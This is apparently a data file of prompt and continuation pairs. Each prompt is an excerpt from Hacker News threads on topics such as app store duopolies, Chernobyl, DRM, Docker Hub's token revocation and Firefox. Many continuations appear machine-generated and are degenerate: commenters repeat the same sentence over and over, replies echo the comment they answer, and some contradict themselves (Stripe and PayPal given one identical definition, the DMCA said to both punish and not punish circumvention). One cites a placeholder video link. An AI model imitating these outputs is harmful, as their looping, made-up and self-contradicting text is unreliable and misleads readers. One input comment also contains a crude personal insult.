really like viewtext. To whoever made it, thanks!\n\n~~~\naaronbrethorst\nRonnie Roller (), who is also the creator of\n\n\n------\nbane\nReminds me of a story I can't seem to google where a D.C. council woman was\nkilled and robbed for her credit cards, which were used to rent a tanker truck\nand to buy thousands of gallons of gasoline, which (the plan was) was to be\nsold for cash back to another gas station (at a discount) in order to buy\ndrugs.\n\n------\nGregBuchholz\nBravo. Better than _The Suit is Back_ by a country mile. \"If You're Watching,\nIt's For You\"\n([http://thelastpsychiatrist.com/2008/08/if_youre_watching_its...](http://thelastpsychiatrist.com/2008/08/if_youre_watching_its_for_you.html)).\n\n------\nidunno246\nI guess this is why safeway locks up the most ridiculous things. Like\ntoothbrushes!\n\n~~~\nanigbrowl\nThings like toothbrushes are locked up because they are relatively expensive\nbut so small"} +{"output_text": " be able to download and use apps from any developer\nthey want.\n\n~~~\nksec\n> If Apple was told to open its App Store they could literally just shut down\n> their App Store instead the next day and in a few days or weeks consumers all\n> around the world would be able to download and use apps from any developer\n> they want.\n\nI don't think that would be a good idea.\n\nApple has a very good reason to keep the", "input_text": " of service on both platforms, so\nFortnite was removed from both the App Store and the Play Store. Epic already\nknew this would happen, which is why they prepared their PR and legal teams\naccordingly.\n\n------\nz3t4\nOne reason for the duopoly is that it cost more to have your app on more\nplatforms. Its a disaster that for example government apps like id only works\non the latest ios or android. There are also Sailfish, FirefoxOS, bunch of\nfeature phone OS, and likely a lot I dont know of. The duopoly is self\ninflicted by the software industry.\n\n------\nAissen\nIt seems Google is still using the same tactics it used to kill Skyhook (Maps\ncompetitor on wifi location), and probably most GApps competitors: they\nblocked Oneplus from bundling the Epic launcher with system permissions\n(allows updates in background, like the Play Store):\n\n[https://www.androidpolice.com/2020/08/13/google-\nreportedly-b...](https://www.androidpolice.com/2020/08/13/google-reportedly-\nblocked-oneplus-from-pre-installing-the-epic-games-app-on-its-phones/)\n\n------\ndustinmoris\nIt's important to remember that Apple and Google only have a Duopoly, because\nnobody else seems to be able to develop anything that is remotely appealing to\ncustomers. Microsoft tried with their own mobile operating system many years\nago and they failed at every attempt.\n\nIf Apple was told to open its App Store they could literally just shut down\ntheir App Store instead the next day and in a few days or weeks consumers all\naround the world would"} +{"output_text": " he tries to get the attention of the audience.\n\nI'm not a fan of Google, but I am a fan of the open source community. I'm a\nfan of the open source community because it is a community of people who\nactually care about the product they are building. I'm a fan of the open\nsource community because it is a community of people who are not afraid to\nspeak their minds. I'm a fan of the open source community because it is a", "input_text": ". I find this possibility to be as valid as some of the ones\nyou list. It could happen, sure, but Google ultimately cannot risk alienating\ntheir customers so they wouldn't do it. Even at Microsoft's peak the doomsday\nscenarios never came to fruition for the same reason. The first time Google\ndoes anything unsavory with the data they collect is the moment when they open\nthe flood gates for their competitors to rush in.\n\nI do think there's some value in keeping information offline and people should\nconsider that as a valid alternative. You don't really need to account for\nevery second of your life in Google Calendar. You don't need to upload every\nsingle photograph you've ever taken. You don't need to geotag the photos you\ndo choose to upload. You may not want to use Google Docs to store your bank\naccount information. Part of this whole situation is consumers protecting\nthemselves.\n\n------\nrjurney\nThe problem here is that in combination with Wave, Google is setting the\nplatform that we are supposed to develop for a year or more before it exists.\nThat IRRITATES the hell out of me. It is the same kind of egotistical\ndouschebaggery Microsoft used to pull: pre-launching products to gain control\nbefore contributing anything.\n\nWatching the Wave introduction video... when I see that semi-euro, T-shirt\nwearing trim-bearded fuck up there on that stage with his falsely elegant\npeppy smart talk planning a 'boating trip', and the scripted passing back and\nforth with 'the best project manager in the world,' I see one thing and one\nthing only in my mind: Ballmer's sweaty bitch tits bouncing up and down, round\nand round, as"} +{"output_text": " quaternions,\netc.).\n\n[1] I'm not sure if this is a typo or not, but the book says that the\neigenvalues are \"previewed\" in the section on matrices over fields.\n\n~~~\nj2kun\nI'm not sure if you're being sarcastic, but I think you're right that the\neigenvalues are previewed in the section on matrices over fields.\n\nI think the book is a good introduction", "input_text": " is often an example here). On top of this, there is also the\nmultiple notation problem (admittedly, not as bad as calculus, where there are\ntoo many notations for derivative) and the minor issue that many of the\nalgorithms taught in the book aren't used in practice because of numerical\nstability issues.\n\nIt has been so long since I've taken linear algebra, and I've taken abstract\nalgebra courses since then, that I can't really compare this book to the\napproach that I learned. Skimming the book, the thing that jumps out the most\nto me is that LU factorization and determinants are shoved surprisingly late\nin the book [1], and eigenvalues are \"previewed\" quite early. I'm not sure\nthat's a good approach: LU factorization is important because backsolving the\nL and U matrices is more numerically stable (and sparser, when you're dealing\nwith sparse matrices) than the inverse matrix, and it works even if your\nmatrix isn't square. Furthermore, determinants tie in better to row\noperations, and their weird application with Cramer's rule is another way to\nsolve a set of linear equations: you don't want to introduce Cramer's rule\nmonths after you finished treating matrices as stepping stones to solving\nlinear equations.\n\nThe book does cover vector spaces, although in a bit of a dance around not\ncovering abstract algebra. I'm not sure it's an effective introduction of\nvector spaces, although it could well suffice to ease the pedagogical trap\nmentioned earlier. On the other hand, if it's going to dive that far into\nvector spaces, it would probably be helpful to have some more sections on\nmatrices over fields that aren't real numbers (i.e., complex numbers (make\nsure to mention conjugate transpose and Hermitian matrices!),"} +{"output_text": " sharing the locations of potholes with the\ncommunity.\n\n~~~\njedberg\nI think the problem is that the potholes are not just in the city, but in the\ncounty, and the county is not just in the city, but in the state, and the\nstate is not just in the country, but in the continent.\n\n~~~\nbeenBoutIT\nI think you're right. I'm not sure how to solve that problem.", "input_text": " politicians\nshoveling money to labor unions and a few firms\".\n\nEverywhere you look there are excludable roads. Everywhere you see traffic\ncongestion, you see rivalry.\n\nRoads are not public goods, even if you feel like governments ought to own\nthem.\n\n------\nbobthepanda\nHorrifying that the state of public works in America has come to this.\n\n~~~\nfein\nYour comment is proof that Domino's marketing team is pretty good.\n\nHell, even the existence of this post on HN is basically some confirmation\nthat hail corporate bullshit slips past this crowd.\n\nDon't buy the PR wank folks, this is just an ad masquerading as some noble\neffort.\n\n~~~\npavel_lishin\nWhat are you on about? The person you're responding to isn't running out to\nget a Domino's tattoo; they're pointing out that there are places in America\nthat are cash-strapped enough that they're willing to accept corporate\nsponsorship to provide basic government services.\n\n~~~\nribs\nThe roads were shitty when I was a kid and they\u2019re shitty now. No big apparent\nchange to me.\n\n~~~\nuntog\nAnecdotes are not data\n\n------\nbeenBoutIT\nAs much as I like what Domino's is doing here, it irks me that they didn't\nflush the idea all-the-way out. Domino's could have easily made an app that\nwould allow users to manually fill-in potholes in exchange for piping-hot\nDomino's Pizza and sides. Imagine chronically unemployed individuals from all\nwalks of life diligently scouring the streets looking for potholes.\nDocumenting, geotagging and"} +{"output_text": " one can be punished\nfor circumventing DRM, but on the other hand it also states that no one can be\npunished for circumventing DRM.\n\nI think the EFF will argue that the DMCA is in conflict with itself and that\nthe DMCA should be struck down as unconstitutional.\n\n~~~\nmadaxe_again\nI think the EFF will argue that the DMCA is in conflict with itself, and that\nthe DMCA should be struck down as", "input_text": " I need streaming for work basically and\nonline radio is better. For example I like RadioParadise.com, they are ads\nfree.\n\nBitching about DRM to let other people know about its problems is cool, but\neven cooler is voting with your wallet.\n\n~~~\nabawany\nI agree. I signed up for an Audible trial not realizing the extent of their\nappalling trash-fire DRM. In summary, you have to run their app on a device\nthey support to be able to listen to their content. Shocking since my local\nlibrary lets me check out audio books with fewer restrictions. Needless to say\nthat in spite of their very-nice electronic pleadings, I canceled the trial\npromptly.\n\n------\nmadaxe_again\nIt appears the EFF intend to fight section 1201 (thou shalt not circumvent) on\nfirst amendment free speech arguments, and on the idea that punishment for\ncircumvention creates a chilling effect.\n\nI don't think a court will buy it. They'll argue that 1201 protects the free\nspeech of content creators, and that it works as intended - and they will cite\nthe decss appeal, which was won by the media giants on the same argument.\n[https://www.2600.com/news/112801-files/universal.html](https://www.2600.com/news/112801-files/universal.html)\n\n~~~\nriskable\nI think part of the argument the EFF will make is that section 1201 is\ninherently in conflict with itself in regards to fair use (an argument which\nwas explicitly _not_ ruled upon in the DeCSS court case) and free speech (to a\nlesser extent). On the one hand the DMCA states that no"} +{"output_text": "\nfact that the USSR was a totalitarian state).\n\n~~~\njlgreco\nI think the real tragedy of Chernobyl was that it was a _nuclear_ accident.\n\n~~~\nIgorPartola\nI agree. I think the real tragedy of Chernobyl was that it was a nuclear\naccident.\n\n------\njlgreco\nI am not sure if this is a good thing or not. I am not sure if the radiation\n", "input_text": "VFQU)\n\n~~~\nghshephard\nI'll admit when she started digging in (with her bare hands) getting excited\nabout 3 milliseverts/hour I had to jump over to\n[http://xkcd.com/radiation/](http://xkcd.com/radiation/) to find out how\nworrisome it was.\n\nI was also a little concerned that she had a runny nose, and kept rubbing her\nnose with that hand...\n\nBut apparently, 2 milliseverts (her exposure in an hour) is about what you\nwould get from a CT scan. US Radiation Workers are allowed up to 50\nmilliseverts.\n\nThough, at the end, when she has it fully uncovered, and is measuring 17\nmilliseverts/hour, and expositing on how beautiful it is...\n\n------\nIgorPartola\nI was born in Kharkiv just over a month before the Chernobyl accident. Never\nbeen to Pripyat, but have seen lots of photos and since I grew up in Ukraine I\ncan place it in context. The real tragedy of Chernobyl was not even the\naccident itself (which was a result of stupidity and zeal IMO), but the\nmultiple attempts at ass covering by those in charge. You see, those in charge\ndid not want to start a panic or look bad. They sent in firefighters without\ntelling them what they were going into. They did not evacuate affected areas\nquickly enough. They did not alert neighboring regions of the fallout that was\ncoming their way. Innocent people died because they were unable to admit their\nwrongdoing. This is definitely the USSR way of doing things and the reason it\ncould never survive: it kept sacrificing people for ideals (well that and the"} +{"output_text": " CPUs.\n\n~~~\nksec\n> I'm still waiting for more efficient CPUs.\n\nI am not sure if you are joking or not.\n\nI am not sure if you are aware of the fact that Intel has been working on\nEfficient CPUs for years.\n\n[https://www.anandtech.com/show/13853/intel-\ncore-i7-8700k-is-...](https://www.anand", "input_text": " graphics inside. So we\nare gonna to expect some more powerful G line APUs in the future too I\nguess...\n\n~~~\nmagicalhippo\nYeah hoping to see something like that soon, will be pretty awesome I think.\n\n------\ndarksaints\nAnybody know of any companies planning to ship these in a NUC-style form\nfactor?\n\n~~~\nalimbada\nASRock did the DeskMini A300 last year which was quite popular. I'm hoping\nthey will refresh it with an updated motherboard for the new APUs coming this\nyear.\n\n~~~\nllampx\nIt was the only one I believe. I'm still on the lookout for a good MiniPC\nsolution that doesn't have compromises like a soldered CPU or requiring\nSODIMMs etc.\n\n------\nest\nI'm looking forward to build a mini HTPC with this. Hope it can handle 8K HDR\nencode/decode well.\n\n------\nrurban\nI got the previous 3000 Ryzen edition on my new cheap Lenovo, and it kills all\nmy big Intel machines in all benchmarks. It cannot use it for benchmarking, as\nit drops frequencies from 4.3 to 1.5 as it likes (or does temp. freezes) but\nfor testing and dev the AMD works wonders.\n\n------\njwildeboer\nSince when are CPUs called APU?\n\n~~~\nbob1029\nAPU = CPU + GPU in a single package or die.\n\n------\nOut_of_Characte\nThese APU's wont fix todays problems in Laptops. Idle power consumption is\nlargely due to all components together. bigger batteries are only more\nexpensive. I'm still waiting for more efficient"} +{"output_text": "~~~\nccernaf\nI'm not dismissing him as an anti-SJW. I'm dismissing him as a person who\ndoesn't understand the difference between a political party and a social\nmovement.\n\n~~~\nbmelton\nI'm not dismissing him as an anti-SJW. I'm dismissing him as a person who\ndoesn't understand the difference between a political party and a social\nmovement.\n\nI'm not dismissing him as an anti", "input_text": "kius\nI find the underlying premise of this article and the claim that there is a\n\"war on boys\" absurd. It's a old argument from the same old set of people who\nhave the same old intolerant (and dying) paradigm.\n\nNot sure why it is on HN at all as the content has nothing to do with tech...\n\n~~~\nccernaf\nI'm pretty disappointed in the article and the comments, and how like Reddit\nthis website is turning out to be. I'm not going to make any judgements\n(though I really really am), but this same article has been posted to 10\nsubreddits, among them such gems as: SJWsAtWork, ThisIsNotASafeSpace, sjsucks,\nand sjwhate.\n\n~~~\nbmelton\nNot affiliated (except that I follow him on Twitter), but the author, Jonathan\nHaidt, is one of America's pre-eminent social psychologists. He is (or at\nleast was) a liberal who has engaged in some very serious social psychology\nthat gives massive insight into how people tick, especially where those ticks\nare related to or concerning political party affiliations.\n\nIf the idea is to dismiss him as an anti-SJW, or anti-free speech, then I\nwould posit that you're simply inclined to dismiss no matter what. If the\ncomplaint is that his work is spreading to, or being adopted by the anti-SJW\ncrowd, that's hardly his fault.\n\nHe may not be right, or he may not have done appropriate research, or he may\nbe based (his own studies would suggest that it's inevitable that he is), but\nany dismissal predicated in part on that he's trolling is almost certainly\nknee-jerk.\n\n"} +{"output_text": "\nhave to use them.\n\n(1)\n[https://www.youtube.com/watch?v=Z_0_0_0_0Y](https://www.youtube.com/watch?v=Z_0_0_0_0Y)\n\n~~~\njoshuamorton\nI think you're right, I think I'm just trying to do too much.\n\nI think I'm just trying to test too much. I", "input_text": " test core user interactions\n(e.g. user can create foo) with e2e tests, and edge-cases with unit tests.\nThese tests will be clicking around and sending keys to inputs and eventually\nreach some state that confirms that the action was successful. Among all the\nstates that were traversed, how many things will you validate (e.g. check that\nthe link the user clicks is in a list, check that in the final state he can\nview all of foo's information)? And how in depth? (e.g. checking that #foo\ncontains all of foo's information, or checking that #foo contains.bar,.baz,\n.qux, and that each contains part of foo's information)\n\nI've figured out some patterns and guidelines over time, but some of these\ntests tend to feel brittle or useless.\n\n~~~\nzachrose\nForgive me for being vague and brief, but I've been trying to test my UIs for\nthe last year or so and this is what I've come up with.\n\nI've found the ideas in Gary Bernhardt's talk, Boundaries (1), to be very\nhelpful in figuring out how to test interactive web UIs. The basic idea is\nthat DOM manipulation can be an \"imperative shell\" with as little logic and as\nfew conditionals as possible. Derive the state of your UI component with\nseparate functions and methods that return plain values (a \"functional core\"),\nand write tests for those because testing for values is easy.\n\nSo no, don't test for the presence of classes and IDs. Test your imperative\nshell once, maybe even manually or with an integration test, and that's\nprobably enough.\n\nAngular and React both encourage something like this approach, but you don't"} +{"output_text": " people with\nmobility issues.\n\nI live in Hamburg and I can't imagine how difficult it would be to get around\nwithout a car.\n\n~~~\njraedisch\nI think the problem is that the city is not really aware of the needs of\ndisabled people. There are a lot of people who are not able to use public\ntransport because they are not able to walk long distances.\n\n~~~\ntdyen\nI'm not sure if I'm", "input_text": ", it does not plan to ban all cars.\n\nSee their official statement (in German): [http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bs...](http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bsu-keine-autofreie-stadt/)\n\n~~~\njraedisch\nAs a resident of Hamburg I can assure you it will not become a car-free city\nwithin the next 20 years. So far, we don't even have an \"Umweltzone\" (green or\nenvironmental friendly zone) where only cars maintaining certain filtering and\nmileage standards are allowed to drive.\n\n------\npanic\n_The goal of Hamburg\u2019s project is to replace roads with a \u201cgruenes netz\u201d or a\ngreen network of interconnected open areas covering 40% of the city. According\nto the official website, parks, playgrounds, sports fields, allotments and\ncemeteries will be connected to form a network, which will allow people to\nnavigate through the city without the use of cars._\n\nWhy not just let people walk on the roads? Places like cemeteries and parks\ncan be quite creepy to walk through, especially at night. Roads next to\nbuildings with people in them are a more comfortable place to walk.\n\n~~~\nbalabaster\nIs that just because that isn't the norm? If it was quite normal to walk\nthrough a cemetery or park at night, would it still be as creepy or is it just\nbecause of the proliferation of ghost and paranormal stories...?\n\n------\ntdyen\nIm surprised so few of the comments deal with disabled people or"} +{"output_text": " fuels.\n\n~~~\nmatt4077\n> So what? This is an apples-to-oranges comparison. Coal, nuclear, natural gas\n> are all delivering stable supply 24/7.\n\nI'm not sure what you mean by \"stable\". Nuclear power plants are not\nguaranteed to be online 24/7.\n\n> PV and Wind are highly volatile both intraday and seasonally. Why don't you\n> add in the cost of", "input_text": " you\nand me are expecting to make fortunes on this. That says more than any numbers\nI could throw at you.\n\n~~~\ngridlockd\n> Without going back and digging for sources (google it yourself), existing\n> nuclear costs about $100/Mwh. Coal is around there, too (this is round\n> number, different sources have slight variations). Onshore wind and natural\n> gas are currently pushing $40, and PV solar is under $60 and dropping\n> rapidly.\n\nSo what? This is an apples-to-oranges comparison. Coal, nuclear, natural gas\nare all delivering stable supply 24/7\\. PV and Wind are highly volatile both\nintraday and seasonally. Why don't you add in the cost of storage?\n\n> We have a couple of decades of data on wind consistency and variation,\n> scaling from minutes to years - enough data to do very reliable projections\n> on storage needs. Solar has a consistent schedule, which also helps\n> projection, and of course we know loads. So computing just how much storage\n> is needed is a straightforward exercise.\n\nComputing the cost is not the problem. Paying the cost is the problem:\n\n[https://www.pv-magazine.com/2019/08/12/new-us-study-finds-\nre...](https://www.pv-magazine.com/2019/08/12/new-us-study-finds-renewable-\nenergy-storage-costs-need-to-drop-90/)\n\n> A lot of people who are smarter with money and know the field more than you\n> and me are expecting to make fortunes on this.\n\nIt's a reasonably safe bet that western governments will push green energy and\npenalize fossil"} +{"output_text": "you_ should expect to live among one of the more populous species.\n\n------\njameshart\nI'm not sure I understand the point of this article.\n\nThe author is arguing that the probability of a planet with intelligent life\nis low, and that the probability of a planet with intelligent life that is\nlarge is high.\n\nThe author is not arguing that the probability of a planet with intelligent\nlife is low, and that the probability of a planet with intelligent", "input_text": "'ve got more pressing issues than\nto debate the statistical likelihood of the size of the rock or it's expected\nmineral composition.\n\n~~~\nnickcano\nYes, and those more pressing issues are among spending time debating why it's\nnot worthwhile to spend time debating a topic that is less pressing than the\ndebate about the time it takes, apparently.\n\n------\nJumpCrisscross\nWhy isn't the conclusion \"our population size is the most frequent\" versus\n\"largest\"?\n\n~~~\nrory\nI think he's approaching it from the assumption that a sentient being should\nassume itself to be a random individual out of all the sentient beings in\nexistence, across all sentient species.\n\n~~~\nJumpCrisscross\nDoesn't that ignore the obvious (and known _a priori_ ) correlation between\nsentient beings in a species?\n\n------\nsrcreigh\nThe idea of interplanetary species seems to invalidate this website in one\nfell swoop.\n\n------\nandrewclunn\nWrong. We have no notion if we are more or less populas than other species, so\nwe should assome that we are one of the many smaller (in number) by virtue of\nthat being the more common, thus drawing the exact opposite conclusions.\n\n~~~\ndeciplex\nThat's what we should expect to see when looking for other _planets_ with\nintelligent life. But _you_, andrewclunn, should expect to live among one of\nthe more populous species.\n\n~~~\nandrewclunn\nThat's the point, from the individual's perspective the correct prediction is\ncompletely contrary to that from the species' perspective based on this\napproach.\n\n~~~\ndeciplex\nRight. So _"} +{"output_text": " an option.\n\n~~~\nitake\nI think you are confusing Stripe with PayPal. Stripe is a payment processor\nthat is used by many companies to accept payments. PayPal is a payment\nprocessor that is used by many companies to accept payments.\n\n~~~\nchris2brooks\nI'm not sure I understand your point.\n\nI'm not saying that Stripe is the only payment processor that is used by many\ncompanies to accept payments. I'm", "input_text": " than the wire transfer charges. There has been always this promise of low cost international transactions but no one seems to dethrone Paypal (or is it just my bias? ).

Extra: What goes into building a international payments service like Paypal?\n======\nfeistypharit\nBecause nobody else has a \"buy now\" button that is so simple to be plopped\nonto a static site and doesn't have a monthly fee. Stripe requires a back end\nand a fee. Shopify has a monthly fee. If you're doing low volume, that fee\nadds up.\n\n~~~\nitake\nthere are a few \"buy me a coffee\" websites that basically act as a middle man\nfor stripe that take 2-3% fee.\n\n~~~\nfeistypharit\nOn top of stripes 2.9 percent fee?\n\n~~~\nitake\nThese guys charge 5%, which I think includes the stripe fee, but no monthly\nfees.\n\n[https://www.buymeacoffee.com/faq](https://www.buymeacoffee.com/faq)\n\nI have seen other people post similar products with lower fees.\n\n------\nchris2brooks\nBecause in the \"Third World\" countries, PayPal may and sometimes is the only\nway to get foreign payments OR it's the only supported integration in many\nSAAS and apps. Many WordPress integrations has Stripe and PayPal as the only\noptions. I'd love to pay less than 5% but in a cruel world I'd also rather pay\n5% and get global income than to settle for less and no global option.\n\nFor instance here in South Africa, Stripe is not supported. As much as I would\nlove to rather use Stripe it's just not"} +{"output_text": " download the movie and then fails.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI'm not sure I understand the point of this.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n------\njoshu\nI'm not sure I understand the point of", "input_text": " providing search and curated results! Wish them all\nwell)\n\nI know what you mean though. It is definitely a sign of our times. Huxley won\nand Orwell lost the crystal ball gazing contest. 1984 is gone (well, not\nentirely IMO) and we are all living in the Brave new world now. ;-P\n\n------\nyarapavan\nFull List (PDF):\n[http://static.googleusercontent.com/external_content/untrust...](http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en//zeitgeist/2012/download/google-\nzeitgeist-2012-en.pdf)\n\n~~~\nkillahpriest\nIronically, I cant seem to be able to use `cmd + f` on that PDF.\n\n~~~\nsmackfu\nYeah, very odd. It seems like the characters in the search index are offset\nfrom the real characters. d=a, e=b, etc. At least in Chrome's PDF viewer.\n\n------\nbenburleson\nWhy do I get Error 503?\n\n~~~\nspeedyrev\nSo am I.\n\n------\ncorporalagumbo\nMy main thought watching the video: \"Holt shit that is some good advertising.\"\nA slickly-produced, epic, emotional and humble tribute to the richness and\nabsurdity of human life - all inconspicuously presented through a panorama of\nGoogle's entire product portfolio - tying the sweeping feelings stirred in you\neither consciously or subconsciously to everything Google...\n\n------\nscotty79\nFails on iPad with 404 after watching the movie and clicking the \"Begin\njourney\" button. It tries to"} +{"output_text": "I think you are confusing Docker with Docker Hub. Docker Hub is a place where\nyou can store images and containers. Docker is the software that runs on top\nof that.\n\n~~~\ngigatexal\nI\u2019m not confused. I\u2019m saying docker is becoming less relevant to me.\n\n~~~\nfriedrichg\nI think you are confusing Docker with Docker Hub. Docker Hub is a place where\nyou can store images and containers. Docker is the software that", "input_text": " of the are using a md5sum\nonly then you're screwed with rainbow tables.\n\n~~~\nunfunco\nI'm going to go out on a limb and say Docker are unlikely to be using MD5,\nsalted or otherwise.\n\n~~~\ntechntoke\nAgreed.\n\n------\nankushnarula\nDocker has revoked GitHub and BitBucket access tokens tokens at least as of 27\nApr 2019 18:41:36 UTC\n\n[http://archive.fo/bKGKq](http://archive.fo/bKGKq)\n\n------\npyman\nLet me get this right, Docker now forces users to register in order to\ndownload their client and they don't secure our data? Insane!\n\n------\nzoobab\nError 500 when I try to login:\n\n\"Sorry, it's not you. It's us, but we are working on it!\"\n\n------\nskilled\nSo, would it have been possible that the perpetrators knew about the keys and\nhad built a way to scan them all beforehand? Or is this more likely to be an\nattempt at farming passwords?\n\n------\nvillgax\nhash+salt please\n\n------\narjamizo\nyou guys should partner with github to disable those token which have leaked\n\n------\ngigatexal\nDoes this lessen the relevance that docker has these days?\n\n~~~\nviraptor\nDid Docker become any less useful for you due to this, or provides less value?\nUnlikely.\n\n~~~\ngigatexal\nI\u2019m thinking twice about using docker hub.\n\nAnd the main usecase is k8s. So docker is just an implementation detail its\nrelevancy is waning imo\n\n~~~\nfriedrichg\n"} +{"output_text": " about whether or not the above change is a good\nthing, but I'm not sure why it's necessary.\n\n~~~\njessaustin\n_I 'm on the fence about whether or not the above change is a good thing, but\nI'm not sure why it's necessary._\n\nThe article doesn't explain why it's necessary, but I think it's because\nGhosn's lawyers were present during questioning, and the law requires that\nthey be present", "input_text": ", the word \"torture\" becomes synonymous with \"discomfort\" or \"to annoy\"\nand would, IMO, lose all utility from a legal point of view.\n\nIn the final analysis, what this boils down to is that the world does not\nexist to serve your desires. Unpleasant things can and will happen to you.\nEven being asked questions you don't want to answer in situations where you\ncannot leave. While an individual may never have experienced anything more\nunpleasant than that, and thus it feels horrible to them, the fact is that\nthere are far far FAR more unpleasant experiences that millions of others have\nfaced. Society does not owe the sheltered more than the less sheltered.\n\n~~~\nedmundsauto\nIt makes more sense if you think of torture as a gradient, not a binary.\n\n2 hours of questioning in a room? Not that torturous. 60 days, 12 hours a day,\neven if your basic needs are met? Pretty bad.\n\n------\nnoego\n> _During detention, both were subject to extensive questioning by prosecutors\n> without an attorney present. Videotapes of Ghosn\u2019s questioning \u2014 a new\n> feature added in the Criminal Procedure Reform law in 2016 in direct\n> response to documented abuses \u2014 were made available to his attorneys who\n> were present at the detention center, but lawyers were not permitted in the\n> room where questioning took place._\n\n> _The system must change._\n\n> _First, every suspect should have the right to consult a lawyer as soon as\n> the case is in the hands of prosecutors, and questioning should be\n> prohibited in the absence of an attorney._\n\nThe article makes no attempt whatsoever to explain why the above change \"must\"\nbe made. I'm on the fence"} +{"output_text": ", they removed the ability to add bookmarks, they\nremoved the ability to add extensions, they removed the ability to add\nbookmarks to the bookmarks bar, they removed the ability to add extensions to\nthe bookmarks bar, they removed the ability to add bookmarks to the bookmarks\nbar, they removed the ability to add extensions to the bookmarks bar, they\nremoved the ability to add bookmarks to the bookmarks bar, they removed the\nability to add", "input_text": " do\nthey have to change?\n\nMan, it almost seems like we've been here before..\n\n~~~\nsmhg\nMozilla \"walked away\" from a platform that doesn't allow Firefox. I don't\nthink you can blame them for not doing what Google did with Chrome for iOS.\n\n~~~\nironsides\nFirst, I don't blame them, but wonder if more could not have been done.\nHowever, I do appreciate how that is your only take away. Kudos.\n\n------\naurora72\nNo other browser can beat Firefox, because all the others including Vivaldi\nare RAM hungry, GPU and CPU abuser show-offs. I don't even talk about their\ndictative approaches such as minimal feature UI, unauthorized update daemons\nrunnin on background, etc. Firefix does have an Android version and it works\ngreat on my 2010 HTC phone, it doesn't dictate a minimum version of Android or\nsomething.\n\nIf the majority of users aren't familiar with such concepts than I don't need\nto worry on Mozilla's side because they don't do something fundamentally\nwrong.\n\n------\ntarminian\nOnly thing I use chrome for is netflix and web testing. Otherwise it is\nFirefox all the way baby!\n\n------\nbyuu\nWho knew that continually ignoring your userbase and changing things in ways\nthey don't like for roughly a decade could have negative consequences?\n\nThe list is getting too long for me to even remember, but I'll try: they moved\ntabs to the top (can't even toggle it via about:config anymore), they killed\nregular download dialogs, they killed the regular status bar, they removed the\nability to keep browser history but not keep download history, they radically\nchanged their address bar"} +{"output_text": " a long time because I don't like the\nidea of having to maintain a separate file for each component. I've also\navoided them because I don't like the idea of having to maintain a separate\nfile for each component.\n\nI've been using SASS for a while now and I really like it. I've been using\nSASS to generate my CSS and I've been using SASS to generate my HTML. I've\nbeen using SASS to generate my JS", "input_text": " more maintainable) then\nyou don't have that problem.\n\nThe other solution is to strictly version your mixins using something like\nComponent and maintain your mixins in a separate repository on GitHub that\ngets versioned, then that also works because each other component can peg the\nversion of the mixin it is using.\n\n\\---\n\nMy big takeaway from CSS though is that none of the solutions for it are nice\nright now. And most of these problems should disappear (I think) with proper\nnative extension.\n\n~~~\nwallunit\nYou can use LESS's nested syntax in order to generate prefixed CSS classes\ninstead of nested CSS selectors, if you prefer them. That gives you the\nadvantage of prefixed CSS classes, but you don't have to repeat the prefix and\nyou have all classes with the same prefix grouped together, which IMHO makes\nlarge projects easier to maintain.\n\n \n \n .textfield {\n &-label {\n ...\n }\n &-input {\n ...\n }\n }\n\n~~~\nianstormtaylor\nThat is pretty cool. I think generally that the components themselves should\nbe more limited in functionality to the point where it's just not that big of\na deal to write out `textfield` two more times. As in, I think it's optimizing\nfor a case that isn't that important. If you write a component, the number of\ntimes you're going to change the root class name of the component is very\nsmall, so it doesn't need quick rename-ability. And then the number of nested\nelements inside of it should also be small, so you don't have that many gains\nthere either.\n\n------\nxauronx\nI've avoided the CSS preprocessors for"} +{"output_text": " example, we have a very strong constitution and the government\ncannot just do whatever they want.\n\nI do not know what the solution is, but I do know that the government cannot\njust do whatever they want.\n\n~~~\nRoboprog\nI agree with you, but I think the problem is that the government is not\nrepresenting the people, but rather the corporations.\n\nThe government is supposed to be the people's servant, not their master.\n\n------", "input_text": " don't trust the government with an internet kill switch.\n\n------\nArdit20\nThat is a bit Kafkaesque.\n\nEveryone has the right to know why their right is being denied or what they\nare being charged with. If it was a privet firm then fine, but the government\ncan't just go around closing websites without saying if not in detail then in\ngeneral what the charges are. How, if the website owner is wronged, is he able\nto challenge the decision if he does not even know what the allegations are\nagainst him.\n\n~~~\nRoboprog\nWhat you say was more or less true in 2000. Things have changed a bit since\nthen. The fact that many recent laws and programs obviously defy the first ten\namendments to the US Constitution have gone \"unnoticed\" by the SCOTUS, and\nboth major brands (D & R) seem content with how things have developed the last\ndecade.\n\n\"We the rabble\" are likely in for a 10 year slog to fix things, if we are\nlucky: paper ballots; some kind of coalition or runoff voting rule changes to\ntake down the \"two\" party system; reestablishment of the rule of law.\n\n~~~\nArdit20\nI am sorry. I can not quite agree with that. I do not know about the united\nstates, but here in the united kingdom we have a very independent judiciary\nwhich has ruled against the government time and time again.\n\nI do agree in a way, just before Tony Blair left, which I think was 2008 or\n2007 things seemed to be going in a very dark direction, but frankly, it is\nthe peoples fault.\n\nWe are so lucky as to be able to change government without bloodshed and in\nthe UK for"} +{"output_text": "Openstack Foundation) installation.\n\nWe are using Openstack for a few years now and we are very happy with it.\n\nWe are using Openstack for a few different things:\n\n\\- We have a few Openstack servers that are used for scientific computing.\nThese are mostly used for running simulations and the like.\n\n\\- We have a few Openstack servers that are used for running our own\nscientific applications. These are mostly used for running our own scientific\napp", "input_text": ".\n\n(though the second half of that sentence will probably be written on my self-\ncarved tombstone)\n\n~~~\nfoobiekr\nThe use case I described - Skyport's cloud managed secure servers - needs\nsuper high quality, self-recovering embedded code that made no assumptions\nabout the network being high quality or reliable.\n\nI think the thing people - and especially the OpenStack guys - don't\nappreciate is how terrible it is to (a) lose a workload or (b) require someone\nvisit the datacenter (which may actually be a colo in another state or hours\ndrive away). Having to fall back to some sort of terrible insecure management\nlike IPMI or a dedicated mandatory management network (of questionable\nsecurity), etc. is just not viable.\n\nSystems and infrastructure architectures need to address a few things that\nreally matter - error handling, continuous self monitoring, state compression\nand linear, systematic self-recovery - and while some OpenStack components\nhandle this (ceph is pretty great except for a few things around access\ncontrol and security) the whole doesn't handle them well at all. It's not\nenough to log a message (or worse, just log an exception stack).\n\n~~~\ntraf68\nI find your expectations to be unreasonably high. The self correcting system\nis a fiction and will always be 